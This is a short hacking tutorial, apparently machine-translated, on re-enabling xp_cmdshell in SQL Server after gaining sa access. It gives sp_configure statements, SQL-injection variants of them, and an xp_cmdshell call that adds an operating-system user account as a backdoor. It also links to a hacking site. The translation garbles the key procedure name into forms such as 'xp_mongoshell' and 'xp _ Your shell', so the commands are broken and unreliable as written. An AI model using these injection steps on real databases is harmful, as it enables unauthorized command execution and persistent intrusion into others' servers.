How to enable xp_cmdshell when it is blocked ..

Author: xinba mingsheng KISS

Today, I got a shell .. The sa user is reading this article. It is about

Error: SQL Server blocks access to 'sys. xp_expose shell' during the 'xp _ external shell' process, because this component has been disabled as part of the security configuration of this Server. The system administrator can enable 'xp _ javasshell' by using sp_configure '. For more information about enabling 'xp _ external shell', see "peripheral application configurator" in SQL Server books online ".

How to handle such a problem...

At first, I thought the method of using the following example could be successful .. The result still does not work ..

Dbcc addextendedproc ("sp_oacreate", "odsole70.dll ")
Dbcc addextendedproc ("xp_mongoshell", "xplog70.dll ")

-----------------------------------------------------------------

Then I checked it online and got the following method.

EXEC sp_configure 'show advanced options', 1 --
Reconfigure with override --
EXEC sp_configure 'xp _ Your shell', 1 --
Reconfigure with override --
EXEC sp_configure 'show advanced options', 0 --

Injection:

; EXEC sp_configure 'show advanced options', 1 --
; Reconfigure with override --
; EXEC sp_configure 'xp _ Your shell', 1 --
; Reconfigure with override --
; EXEC sp_configure 'show advanced options', 0 --

B. Change configuration options

The following example sets the system recovery interval to 3 minutes.

USE master0
EXEC sp_configure 'recovery interval', '3'
RECONFIGURE WITH OVERRIDE

Bytes -----------------------------------------------------------------------------------

After the two statements are executed, the command cmd can be executed on them.

Exec master.. xp_mongoshell "net user name password/add "--

This is a note .. Group questions that you cannot understand ..

Here for detailed explanation: http://www.fuckhacker.net /? Action = show & id = 137